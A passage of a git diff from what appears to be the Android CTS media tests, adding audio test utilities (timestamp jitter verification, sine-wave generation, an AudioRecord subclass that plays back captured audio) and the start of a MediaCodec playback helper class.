+    public static void maskArray(byte[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    public static void maskArray(short[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    public static void maskArray(float[] array, int channelMask, int validMask) {
+        final int packMask = packMask(channelMask, validMask);
+        final int channels = Integer.bitCount(channelMask);
+        int j = 0;
+        for (int i = 0; i < array.length; ++i) {
+            if ((packMask & (1 << j)) == 0) {
+                array[i] = 0;
+            }
+            if (++j >= channels) {
+                j = 0;
+            }
+        }
+    }
+
+    /**
+     * Create and fill a short array with complete sine waves so we can
+     * hear buffer underruns more easily.
+     */
+    public static short[] createSineWavesShort(int numFrames, int samplesPerFrame,
+            int numCycles, double amplitude) {
+        final short[] data = new short[numFrames * samplesPerFrame];
+        final double rad = numCycles * 2.0 * Math.PI / numFrames;
+        for (int j = 0; j < data.length;) {
+            short sample = (short)(amplitude * Math.sin(j * rad) * Short.MAX_VALUE);
+            for (int sampleIndex = 0; sampleIndex < samplesPerFrame; sampleIndex++) {
+                data[j++] = sample;
+            }
+        }
+        return data;
+    }
+
+    public static int frameSizeFromFormat(AudioFormat format) {
+        return format.getChannelCount()
+                * format.getBytesPerSample(format.getEncoding());
+    }
+
+    public static int frameCountFromMsec(int ms, AudioFormat format) {
+        return ms * format.getSampleRate() / 1000;
+    }
+
+    public static class Statistics {
+        public void add(double value) {
+            final double absValue = Math.abs(value);
+            mSum += value;
+            mSumAbs += absValue;
+            mMaxAbs = Math.max(mMaxAbs, absValue);
+            ++mCount;
+        }
+
+        public double getAvg() {
+            if (mCount == 0) {
+                return 0;
+            }
+            return mSum / mCount;
+        }
+
+        public double getAvgAbs() {
+            if (mCount == 0) {
+                return 0;
+            }
+            return mSumAbs / mCount;
+        }
+
+        public double getMaxAbs() {
+            return mMaxAbs;
+        }
+
+        private int mCount = 0;
+        private double mSum = 0;
+        private double mSumAbs = 0;
+        private double mMaxAbs = 0;
+    }
+
+    // for listener tests
+    // lightweight java.util.concurrent.Future*
+    public static class FutureLatch<T>
+    {
+        private T mValue;
+        private boolean mSet;
+        public void set(T value)
+        {
+            synchronized (this) {
+                assert !mSet;
+                mValue = value;
+                mSet = true;
+                notify();
+            }
+        }
+        public T get()
+        {
+            T value;
+            synchronized (this) {
+                while (!mSet) {
+                    try {
+                        wait();
+                    } catch (InterruptedException e) {
+                        ;
+                    }
+                }
+                value = mValue;
+            }
+            return value;
+        }
+    }
+
+    // for listener tests
+    // represents a factory for T
+    public interface MakesSomething<T>
+    {
+        T makeSomething();
+    }
+
+    // for listener tests
+    // used to construct an object in the context of an asynchronous thread with looper
+    public static class MakeSomethingAsynchronouslyAndLoop<T>
+    {
+        private Thread mThread;
+        volatile private Looper mLooper;
+        private final MakesSomething<T> mWhatToMake;
+
+        public MakeSomethingAsynchronouslyAndLoop(MakesSomething<T> whatToMake)
+        {
+            assert whatToMake != null;
+            mWhatToMake = whatToMake;
+        }
+
+        public T make()
+        {
+            final FutureLatch<T> futureLatch = new FutureLatch<T>();
+            mThread = new Thread()
+            {
+                @Override
+                public void run()
+                {
+                    Looper.prepare();
+                    mLooper = Looper.myLooper();
+                    T something = mWhatToMake.makeSomething();
+                    futureLatch.set(something);
+                    Looper.loop();
+                }
+            };
+            mThread.start();
+            return futureLatch.get();
+        }
+        public void join()
+        {
+            mLooper.quit();
+            try {
+                mThread.join();
+            } catch (InterruptedException e) {
+                ;
+            }
+            // avoid dangling references
+            mLooper = null;
+            mThread = null;
+        }
+    }
+
+    public static int outChannelMaskFromInChannelMask(int channelMask) {
+        switch (channelMask) {
+            case AudioFormat.CHANNEL_IN_MONO:
+                return AudioFormat.CHANNEL_OUT_MONO;
+            case AudioFormat.CHANNEL_IN_STEREO:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+            default:
+                return AudioFormat.CHANNEL_INVALID;
+        }
+    }
+
+    @CddTest(requirement="5.10/C-1-6,C-1-7")
+    public static class TimestampVerifier {
+
+        // CDD 5.6 1ms timestamp accuracy
+        private static final double TEST_MAX_JITTER_MS_ALLOWED = 6.; // a validity check
+        private static final double TEST_STD_JITTER_MS_ALLOWED = 3.; // flaky tolerance 3x
+        private static final double TEST_STD_JITTER_MS_WARN = 1.;    // CDD requirement warning
+
+        // CDD 5.6 100ms track startup latency
+        private static final double TEST_STARTUP_TIME_MS_ALLOWED = 500.; // error
+        private final double TEST_STARTUP_TIME_MS_WARN;                  // warning
+        private static final double TEST_STARTUP_TIME_MS_INFO = 100.;    // informational
+
+        private static final int MILLIS_PER_SECOND = 1000;
+        private static final long NANOS_PER_MILLISECOND = 1000000;
+        private static final long NANOS_PER_SECOND = NANOS_PER_MILLISECOND * MILLIS_PER_SECOND;
+        private static final String REPORT_LOG_NAME = "CtsMediaTestCases";
+
+        private final String mTag;
+        private final int mSampleRate;
+        private final long mStartFrames; // initial timestamp condition for verification.
+
+        // Running statistics
+        private int mCount = 0;
+        private long mLastFrames = 0;
+        private long mLastTimeNs = 0;
+        private int mJitterCount = 0;
+        private double mMeanJitterMs = 0.;
+        private double mSecondMomentJitterMs = 0.;
+        private double mMaxAbsJitterMs = 0.;
+        private int mWarmupCount = 0;
+
+        public TimestampVerifier(@Nullable String tag, @IntRange(from=4000) int sampleRate,
+                                 long startFrames, boolean isProAudioDevice) {
+            mTag = tag;  // Log accepts null
+            mSampleRate = sampleRate;
+            mStartFrames = startFrames;
+            // Warning if higher than MUST value for pro audio.  Zero means ignore.
+            TEST_STARTUP_TIME_MS_WARN = isProAudioDevice ? 200. : 0.;
+        }
+
+        public int getJitterCount() { return mJitterCount; }
+        public double getMeanJitterMs() { return mMeanJitterMs; }
+        public double getStdJitterMs() { return Math.sqrt(mSecondMomentJitterMs / mJitterCount); }
+        public double getMaxAbsJitterMs() { return mMaxAbsJitterMs; }
+        public double getStartTimeNs() {
+            return mLastTimeNs - ((mLastFrames - mStartFrames) * NANOS_PER_SECOND / mSampleRate);
+        }
+
+        public void add(@NonNull AudioTimestamp ts) {
+            final long frames = ts.framePosition;
+            final long timeNs = ts.nanoTime;
+
+            assertTrue(mTag + " timestamps must have causal time", System.nanoTime() >= timeNs);
+
+            if (mCount > 0) { // need delta info from previous iteration (skipping first)
+                final long deltaFrames = frames - mLastFrames;
+                final long deltaTimeNs = timeNs - mLastTimeNs;
+
+                if (deltaFrames == 0 && deltaTimeNs == 0) return;
+
+                final double deltaFramesNs = (double)deltaFrames * NANOS_PER_SECOND / mSampleRate;
+                final double jitterMs = (deltaTimeNs - deltaFramesNs)  // actual - expected
+                        * (1. / NANOS_PER_MILLISECOND);
+
+                Log.d(mTag, "frames(" + frames
+                        + ") timeNs(" + timeNs
+                        + ") lastframes(" + mLastFrames
+                        + ") lastTimeNs(" + mLastTimeNs
+                        + ") deltaFrames(" + deltaFrames
+                        + ") deltaTimeNs(" + deltaTimeNs
+                        + ") jitterMs(" + jitterMs + ")");
+                assertTrue(mTag + " timestamp time should be increasing", deltaTimeNs >= 0);
+                assertTrue(mTag + " timestamp frames should be increasing", deltaFrames >= 0);
+
+                if (mLastFrames != 0) {
+                    if (mWarmupCount++ > 1) { // ensure device is warmed up
+                        // Welford's algorithm
+                        // https://en.wikipedia.org/wiki/Algorithms_for_calculating_variance
+                        ++mJitterCount;
+                        final double delta = jitterMs - mMeanJitterMs;
+                        mMeanJitterMs += delta / mJitterCount;
+                        final double delta2 = jitterMs - mMeanJitterMs;
+                        mSecondMomentJitterMs += delta * delta2;
+
+                        // jitterMs is signed, so max uses abs() here.
+                        final double absJitterMs = Math.abs(jitterMs);
+                        if (absJitterMs > mMaxAbsJitterMs) {
+                            mMaxAbsJitterMs = absJitterMs;
+                        }
+                    }
+                }
+            }
+            ++mCount;
+            mLastFrames = frames;
+            mLastTimeNs = timeNs;
+        }
+
+        public void verifyAndLog(long trackStartTimeNs, @Nullable String logName) {
+            // enough timestamps?
+            assertTrue(mTag + " need at least 2 jitter measurements", mJitterCount >= 2);
+
+            // Compute startup time and std jitter.
+            final int startupTimeMs =
+                    (int) ((getStartTimeNs() - trackStartTimeNs) / NANOS_PER_MILLISECOND);
+            final double stdJitterMs = getStdJitterMs();
+
+            // Check startup time
+            assertTrue(mTag + " expect startupTimeMs " + startupTimeMs
+                            + " <= " + TEST_STARTUP_TIME_MS_ALLOWED,
+                    startupTimeMs <= TEST_STARTUP_TIME_MS_ALLOWED);
+            if (TEST_STARTUP_TIME_MS_WARN > 0 && startupTimeMs > TEST_STARTUP_TIME_MS_WARN) {
+                Log.w(mTag, "CDD warning: startup time " + startupTimeMs
+                        + " > " + TEST_STARTUP_TIME_MS_WARN);
+            } else if (startupTimeMs > TEST_STARTUP_TIME_MS_INFO) {
+                Log.i(mTag, "CDD informational: startup time " + startupTimeMs
+                        + " > " + TEST_STARTUP_TIME_MS_INFO);
+            }
+
+            // Check maximum jitter
+            assertTrue(mTag + " expect maxAbsJitterMs(" + mMaxAbsJitterMs + ") < "
+                            + TEST_MAX_JITTER_MS_ALLOWED,
+                    mMaxAbsJitterMs < TEST_MAX_JITTER_MS_ALLOWED);
+
+            // Check std jitter
+            if (stdJitterMs > TEST_STD_JITTER_MS_WARN) {
+                Log.w(mTag, "CDD warning: std timestamp jitter " + stdJitterMs
+                        + " > " + TEST_STD_JITTER_MS_WARN);
+            }
+            assertTrue(mTag + " expect stdJitterMs " + stdJitterMs +
+                            " < " + TEST_STD_JITTER_MS_ALLOWED,
+                    stdJitterMs < TEST_STD_JITTER_MS_ALLOWED);
+
+            Log.d(mTag, "startupTimeMs(" + startupTimeMs
+                    + ") meanJitterMs(" + mMeanJitterMs
+                    + ") maxAbsJitterMs(" + mMaxAbsJitterMs
+                    + ") stdJitterMs(" + stdJitterMs
+                    + ")");
+
+            // Log results if logName is provided
+            if (logName != null) {
+                DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, logName);
+                // ReportLog needs at least one Value and Summary.
+                log.addValue("startup_time_ms", startupTimeMs,
+                        ResultType.LOWER_BETTER, ResultUnit.MS);
+                log.addValue("maximum_abs_jitter_ms", mMaxAbsJitterMs,
+                        ResultType.LOWER_BETTER, ResultUnit.MS);
+                log.addValue("mean_jitter_ms", mMeanJitterMs,
+                        ResultType.LOWER_BETTER, ResultUnit.MS);
+                log.setSummary("std_jitter_ms", stdJitterMs,
+                        ResultType.LOWER_BETTER, ResultUnit.MS);
+                log.submit(InstrumentationRegistry.getInstrumentation());
+            }
+        }
+    }
+
+    /* AudioRecordAudit extends AudioRecord to allow concurrent playback
+     * of read content to an AudioTrack.  This is for testing only.
+     * For general applications, it is NOT recommended to extend AudioRecord.
+     * This affects AudioRecord timing.
+     */
+    public static class AudioRecordAudit extends AudioRecord {
+        public AudioRecordAudit(int audioSource, int sampleRate, int channelMask,
+                int format, int bufferSize, boolean isChannelIndex) {
+            this(audioSource, sampleRate, channelMask, format, bufferSize, isChannelIndex,
+                    AudioManager.STREAM_MUSIC, 500 /*delayMs*/);
+        }
+
+        public AudioRecordAudit(int audioSource, int sampleRate, int channelMask,
+                int format, int bufferSize,
+                boolean isChannelIndex, int auditStreamType, int delayMs) {
+            // without channel index masks, one could call:
+            // super(audioSource, sampleRate, channelMask, format, bufferSize);
+            super(new AudioAttributes.Builder()
+                            .setInternalCapturePreset(audioSource)
+                            .build(),
+                    (isChannelIndex
+                            ? new AudioFormat.Builder().setChannelIndexMask(channelMask)
+                                    : new AudioFormat.Builder().setChannelMask(channelMask))
+                            .setEncoding(format)
+                            .setSampleRate(sampleRate)
+                            .build(),
+                    bufferSize,
+                    AudioManager.AUDIO_SESSION_ID_GENERATE);
+
+            if (delayMs >= 0) { // create an AudioTrack
+                final int channelOutMask = isChannelIndex ? channelMask :
+                    outChannelMaskFromInChannelMask(channelMask);
+                final int bufferOutFrames = sampleRate * delayMs / 1000;
+                final int bufferOutSamples = bufferOutFrames
+                        * AudioFormat.channelCountFromOutChannelMask(channelOutMask);
+                final int bufferOutSize = bufferOutSamples
+                        * AudioFormat.getBytesPerSample(format);
+
+                // Caution: delayMs too large results in buffer sizes that cannot be created.
+                mTrack = new AudioTrack.Builder()
+                                .setAudioAttributes(new AudioAttributes.Builder()
+                                        .setLegacyStreamType(auditStreamType)
+                                        .build())
+                                .setAudioFormat((isChannelIndex ?
+                                  new AudioFormat.Builder().setChannelIndexMask(channelOutMask) :
+                                  new AudioFormat.Builder().setChannelMask(channelOutMask))
+                                        .setEncoding(format)
+                                        .setSampleRate(sampleRate)
+                                        .build())
+                                .setBufferSizeInBytes(bufferOutSize)
+                                .build();
+                Assert.assertEquals(AudioTrack.STATE_INITIALIZED, mTrack.getState());
+                mPosition = 0;
+                mFinishAtMs = 0;
+            }
+        }
+
+        @Override
+        public int read(byte[] audioData, int offsetInBytes, int sizeInBytes) {
+            // for byte array access we verify format is 8 bit PCM (typical use)
+            Assert.assertEquals(TAG + ": format mismatch",
+                    AudioFormat.ENCODING_PCM_8BIT, getAudioFormat());
+            int samples = super.read(audioData, offsetInBytes, sizeInBytes);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInBytes, samples));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        @Override
+        public int read(byte[] audioData, int offsetInBytes, int sizeInBytes, int readMode) {
+            // for byte array access we verify format is 8 bit PCM (typical use)
+            Assert.assertEquals(TAG + ": format mismatch",
+                    AudioFormat.ENCODING_PCM_8BIT, getAudioFormat());
+            int samples = super.read(audioData, offsetInBytes, sizeInBytes, readMode);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInBytes, samples,
+                        AudioTrack.WRITE_BLOCKING));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        @Override
+        public int read(short[] audioData, int offsetInShorts, int sizeInShorts) {
+            // for short array access we verify format is 16 bit PCM (typical use)
+            Assert.assertEquals(TAG + ": format mismatch",
+                    AudioFormat.ENCODING_PCM_16BIT, getAudioFormat());
+            int samples = super.read(audioData, offsetInShorts, sizeInShorts);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInShorts, samples));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        @Override
+        public int read(short[] audioData, int offsetInShorts, int sizeInShorts, int readMode) {
+            // for short array access we verify format is 16 bit PCM (typical use)
+            Assert.assertEquals(TAG + ": format mismatch",
+                    AudioFormat.ENCODING_PCM_16BIT, getAudioFormat());
+            int samples = super.read(audioData, offsetInShorts, sizeInShorts, readMode);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInShorts, samples,
+                        AudioTrack.WRITE_BLOCKING));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        @Override
+        public int read(float[] audioData, int offsetInFloats, int sizeInFloats, int readMode) {
+            // for float array access we verify format is float PCM (typical use)
+            Assert.assertEquals(TAG + ": format mismatch",
+                    AudioFormat.ENCODING_PCM_FLOAT, getAudioFormat());
+            int samples = super.read(audioData, offsetInFloats, sizeInFloats, readMode);
+            if (mTrack != null) {
+                Assert.assertEquals(samples, mTrack.write(audioData, offsetInFloats, samples,
+                        AudioTrack.WRITE_BLOCKING));
+                mPosition += samples / mTrack.getChannelCount();
+            }
+            return samples;
+        }
+
+        @Override
+        public int read(ByteBuffer audioBuffer, int sizeInBytes) {
+            int bytes = super.read(audioBuffer, sizeInBytes);
+            if (mTrack != null) {
+                // read does not affect position and limit of the audioBuffer.
+                // we make a duplicate to change that for writing to the output AudioTrack
+                // which does check position and limit.
+                ByteBuffer copy = audioBuffer.duplicate();
+                copy.position(0).limit(bytes);  // read places data at the start of the buffer.
+                Assert.assertEquals(bytes, mTrack.write(copy, bytes, AudioTrack.WRITE_BLOCKING));
+                mPosition += bytes /
+                        (mTrack.getChannelCount()
+                                * AudioFormat.getBytesPerSample(mTrack.getAudioFormat()));
+            }
+            return bytes;
+        }
+
+        @Override
+        public int read(ByteBuffer audioBuffer, int sizeInBytes, int readMode) {
+            int bytes = super.read(audioBuffer, sizeInBytes, readMode);
+            if (mTrack != null) {
+                // read does not affect position and limit of the audioBuffer.
+                // we make a duplicate to change that for writing to the output AudioTrack
+                // which does check position and limit.
+                ByteBuffer copy = audioBuffer.duplicate();
+                copy.position(0).limit(bytes);  // read places data at the start of the buffer.
+                Assert.assertEquals(bytes, mTrack.write(copy, bytes, AudioTrack.WRITE_BLOCKING));
+                mPosition += bytes /
+                        (mTrack.getChannelCount()
+                                * AudioFormat.getBytesPerSample(mTrack.getAudioFormat()));
+            }
+            return bytes;
+        }
+
+        @Override
+        public void startRecording() {
+            super.startRecording();
+            if (mTrack != null) {
+                mTrack.play();
+            }
+        }
+
+        @Override
+        public void stop() {
+            super.stop();
+            if (mTrack != null) {
+                if (mPosition > 0) { // stop may be called multiple times.
+                    final int remainingFrames = mPosition - mTrack.getPlaybackHeadPosition();
+                    mFinishAtMs = System.currentTimeMillis()
+                            + remainingFrames * 1000 / mTrack.getSampleRate();
+                    mPosition = 0;
+                }
+                mTrack.stop(); // allows remaining data to play out
+            }
+        }
+
+        @Override
+        public void release() {
+            super.release();
+            if (mTrack != null) {
+                final long remainingMs = mFinishAtMs - System.currentTimeMillis();
+                if (remainingMs > 0) {
+                    try {
+                        Thread.sleep(remainingMs);
+                    } catch (InterruptedException e) {
+                        ;
+                    }
+                }
+                mTrack.release();
+                mTrack = null;
+            }
+        }
+
+        public AudioTrack mTrack;
+        private final static String TAG = "AudioRecordAudit";
+        private int mPosition;
+        private long mFinishAtMs;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerStub.java b/tests/tests/media/common/src/android/media/cts/AudioManagerStub.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/AudioManagerStub.java
rename to tests/tests/media/common/src/android/media/cts/AudioManagerStub.java
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerStubHelper.java b/tests/tests/media/common/src/android/media/cts/AudioManagerStubHelper.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/AudioManagerStubHelper.java
rename to tests/tests/media/common/src/android/media/cts/AudioManagerStubHelper.java
diff --git a/tests/tests/media/src/android/media/cts/CodecImage.java b/tests/tests/media/common/src/android/media/cts/CodecImage.java
similarity index 100%
rename from tests/tests/media/src/android/media/cts/CodecImage.java
rename to tests/tests/media/common/src/android/media/cts/CodecImage.java
diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java
new file mode 100644
index 0000000..e117c3b
--- /dev/null
+++ b/tests/tests/media/common/src/android/media/cts/CodecState.java
@@ -0,0 +1,680 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts;
+
+import android.media.AudioTimestamp;
+import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Surface;
+
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import com.google.common.collect.ImmutableList;
+
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.LinkedList;
+
+/**
+ * Class for directly managing both audio and video playback by
+ * using {@link MediaCodec} and {@link AudioTrack}.
+ */
+public class CodecState {
+    private static final String TAG = CodecState.class.getSimpleName();
+
+    public static final int UNINITIALIZED_TIMESTAMP = Integer.MIN_VALUE;
+
+    private boolean mSawInputEOS;
+    private volatile boolean mSawOutputEOS;
+    private boolean mLimitQueueDepth;
+    private boolean mIsTunneled;
+    private boolean mIsAudio;
+    private int mAudioSessionId;
+    private ByteBuffer[] mCodecInputBuffers;
+    private ByteBuffer[] mCodecOutputBuffers;
+    private int mTrackIndex;
+    private int mAvailableInputBufferIndex;
+    private LinkedList<Integer> mAvailableOutputBufferIndices;
+    private LinkedList<MediaCodec.BufferInfo> mAvailableOutputBufferInfos;
+    /**
+     * The media timestamp of the latest frame decoded by this codec.
+     *
+     * Note: in tunnel mode, this coincides with the latest rendered frame.
+     */
+    private volatile long mDecodedFramePresentationTimeUs;
+    private volatile long mRenderedVideoFramePresentationTimeUs;
+    private volatile long mRenderedVideoFrameSystemTimeNano;
+    private long mFirstSampleTimeUs;
+    private long mPlaybackStartTimeUs;
+    private long mLastPresentTimeUs;
+    private long mOffsetTimestampUs = 0;
+    private MediaCodec mCodec;
+    private MediaTimeProvider mMediaTimeProvider;
+    private MediaExtractor mExtractor;
+    private MediaFormat mFormat;
+    private MediaFormat mOutputFormat;
+    private NonBlockingAudioTrack mAudioTrack;
+    private volatile OnFrameRenderedListener mOnFrameRenderedListener;
+    /** A list of reported rendered video frames' timestamps. */
+    private ArrayList<Long> mRenderedVideoFrameTimestampList;
+    private ArrayList<Long> mRenderedVideoFrameSystemTimeList;
+    private boolean mIsFirstTunnelFrameReady;
+    private volatile OnFirstTunnelFrameReadyListener mOnFirstTunnelFrameReadyListener;
+    /** If true, starves the underlying {@link MediaCodec} to simulate an underrun. */
+    private boolean mShouldSimulateUnderrun;
+    /**
+     * An offset (in nanoseconds) to add to presentation timestamps fed to the {@link AudioTrack}.
+     *
+     * This is used to simulate desynchronization between tracks.
+     */
+    private long mAudioOffsetNs;
+
+    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
+    /** If true the video/audio will start from the beginning when it reaches the end. */
+    private boolean mLoopEnabled = false;
+
+    /**
+     * Manages audio and video playback using MediaCodec and AudioTrack.
+     */
+    public CodecState(
+            MediaTimeProvider mediaTimeProvider,
+            MediaExtractor extractor,
+            int trackIndex,
+            MediaFormat format,
+            MediaCodec codec,
+            boolean limitQueueDepth,
+            boolean tunneled,
+            int audioSessionId) {
+        mMediaTimeProvider = mediaTimeProvider;
+        mExtractor = extractor;
+        mTrackIndex = trackIndex;
+        mFormat = format;
+        mSawInputEOS = mSawOutputEOS = false;
+        mLimitQueueDepth = limitQueueDepth;
+        mIsTunneled = tunneled;
+        mAudioSessionId = audioSessionId;
+        mFirstSampleTimeUs = -1;
+        mPlaybackStartTimeUs = 0;
+        mLastPresentTimeUs = 0;
+
+        mCodec = codec;
+
+        mAvailableInputBufferIndex = -1;
+        mAvailableOutputBufferIndices = new LinkedList<Integer>();
+        mAvailableOutputBufferInfos = new LinkedList<MediaCodec.BufferInfo>();
+        mRenderedVideoFrameTimestampList = new ArrayList<Long>();
+        mRenderedVideoFrameSystemTimeList = new ArrayList<Long>();
+
+        mDecodedFramePresentationTimeUs = UNINITIALIZED_TIMESTAMP;
+        mRenderedVideoFramePresentationTimeUs = UNINITIALIZED_TIMESTAMP;
+        mRenderedVideoFrameSystemTimeNano = UNINITIALIZED_TIMESTAMP;
+
+        mIsFirstTunnelFrameReady = false;
+        mShouldSimulateUnderrun = false;
+
+        mAudioOffsetNs = 0;
+
+        String mime = mFormat.getString(MediaFormat.KEY_MIME);
+        Log.d(TAG, "CodecState::CodecState " + mime);
+        mIsAudio = mime.startsWith("audio/");
+
+        setFrameListeners(mCodec);
+    }
+
+    public void release() {
+        mCodec.stop();
+        mCodecInputBuffers = null;
+        mCodecOutputBuffers = null;
+        mOutputFormat = null;
+
+        mAvailableOutputBufferIndices.clear();
+        mAvailableOutputBufferInfos.clear();
+
+        mAvailableInputBufferIndex = -1;
+        mAvailableOutputBufferIndices = null;
+        mAvailableOutputBufferInfos = null;
+
+        releaseFrameListeners();
+
+        mCodec.release();
+        mCodec = null;
+
+        if (mAudioTrack != null) {
+            mAudioTrack.release();
+            mAudioTrack = null;
+        }
+    }
+
+    public void start() {
+        mCodec.start();
+        mCodecInputBuffers = mCodec.getInputBuffers();
+        if (!mIsTunneled || mIsAudio) {
+            mCodecOutputBuffers = mCodec.getOutputBuffers();
+        }
+
+        if (mAudioTrack != null) {
+            mAudioTrack.play();
+        }
+    }
+
+    public void pause() {
+        if (mAudioTrack != null) {
+            mAudioTrack.pause();
+        }
+    }
+
+    /**
+     * Returns the media timestamp of the latest decoded sample/frame.
+     *
+     * TODO(b/202710709): Disambiguate getCurrentPosition's meaning
+     */
+    public long getCurrentPositionUs() {
+        // Use decoded frame time when available, otherwise default to render time (typically, in
+        // tunnel mode).
+        if (mDecodedFramePresentationTimeUs != UNINITIALIZED_TIMESTAMP) {
+            return mDecodedFramePresentationTimeUs;
+        } else {
+            return mRenderedVideoFramePresentationTimeUs;
+        }
+    }
+
+    /** Returns the system time of the latest rendered video frame. */
+    public long getRenderedVideoSystemTimeNano() {
+        return mRenderedVideoFrameSystemTimeNano;
+    }
+
+    public void flush() {
+        if (!mIsTunneled || mIsAudio) {
+            mAvailableOutputBufferIndices.clear();
+            mAvailableOutputBufferInfos.clear();
+        }
+
+        mAvailableInputBufferIndex = -1;
+        mSawInputEOS = false;
+        mSawOutputEOS = false;
+
+        if (mAudioTrack != null
+                && mAudioTrack.getPlayState() != AudioTrack.PLAYSTATE_PLAYING) {
+            mAudioTrack.flush();
+        }
+
+        mCodec.flush();
+        mDecodedFramePresentationTimeUs = UNINITIALIZED_TIMESTAMP;
+        mRenderedVideoFramePresentationTimeUs = UNINITIALIZED_TIMESTAMP;
+        mRenderedVideoFrameSystemTimeNano = UNINITIALIZED_TIMESTAMP;
+        mRenderedVideoFrameTimestampList = new ArrayList<Long>();
+        mRenderedVideoFrameSystemTimeList = new ArrayList<Long>();
+        mIsFirstTunnelFrameReady = false;
+    }
+
+    public boolean isEnded() {
+        return mSawInputEOS && mSawOutputEOS;
+    }
+
+    /** @see #doSomeWork(Boolean) */
+    public Long doSomeWork() {
+        return doSomeWork(false /* mustWait */);
+    }
+
+    /**
+     * {@code doSomeWork} is the worker function that does all buffer handling and decoding works.
+     * It first reads data from {@link MediaExtractor} and pushes it into {@link MediaCodec}; it
+     * then dequeues buffer from {@link MediaCodec}, consumes it and pushes back to its own buffer
+     * queue for next round reading data from {@link MediaExtractor}.
+     *
+     * @param boolean  Whether to block on input buffer retrieval
+     *
+     * @return timestamp of the queued frame, if any.
+     */
+    public Long doSomeWork(boolean mustWait) {
+        // Extract input data, if relevant
+        Long sampleTime = null;
+        if (mAvailableInputBufferIndex == -1) {
+            int indexInput = mCodec.dequeueInputBuffer(mustWait ? -1 : 0 /* timeoutUs */);
+            if (indexInput != MediaCodec.INFO_TRY_AGAIN_LATER) {
+                mAvailableInputBufferIndex = indexInput;
+            }
+        }
+        if (mAvailableInputBufferIndex != -1) {
+            sampleTime = feedInputBuffer(mAvailableInputBufferIndex);
+            if (sampleTime != null) {
+                mAvailableInputBufferIndex = -1;
+            }
+        }
+
+        // Queue output data, if relevant
+        if (mIsAudio || !mIsTunneled) {
+            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+            int indexOutput = mCodec.dequeueOutputBuffer(info, 0 /* timeoutUs */);
+
+            if (indexOutput == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                mOutputFormat = mCodec.getOutputFormat();
+                onOutputFormatChanged();
+            } else if (indexOutput == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                mCodecOutputBuffers = mCodec.getOutputBuffers();
+            } else if (indexOutput != MediaCodec.INFO_TRY_AGAIN_LATER) {
+                mAvailableOutputBufferIndices.add(indexOutput);
+                mAvailableOutputBufferInfos.add(info);
+            }
+
+            while (drainOutputBuffer()) {
+            }
+        }
+
+        return sampleTime;
+    }
+
+    public void setLoopEnabled(boolean enabled) {
+        mLoopEnabled = enabled;
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    private void setFrameListeners(MediaCodec codec) {
+        if (!mIsAudio) {
+            // Setup frame rendered callback for video codecs
+            mOnFrameRenderedListener = new OnFrameRenderedListener();
+            codec.setOnFrameRenderedListener(mOnFrameRenderedListener,
+                    new Handler(Looper.getMainLooper()));
+
+            if (mIsTunneled) {
+                mOnFirstTunnelFrameReadyListener = new OnFirstTunnelFrameReadyListener();
+                codec.setOnFirstTunnelFrameReadyListener(new Handler(Looper.getMainLooper()),
+                        mOnFirstTunnelFrameReadyListener);
+            }
+        }
+    }
+
+    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
+    private void releaseFrameListeners() {
+        if (mOnFrameRenderedListener != null) {
+            mCodec.setOnFrameRenderedListener(null, null);
+            mOnFrameRenderedListener = null;
+        }
+        if (mOnFirstTunnelFrameReadyListener != null) {
+            mCodec.setOnFirstTunnelFrameReadyListener(null, null);
+            mOnFirstTunnelFrameReadyListener = null;
+        }
+    }
+
+    /**
+     * Extracts some data from the configured MediaExtractor and feeds it to the configured
+     * MediaCodec.
+     *
+     * Returns the timestamp of the queued buffer, if any.
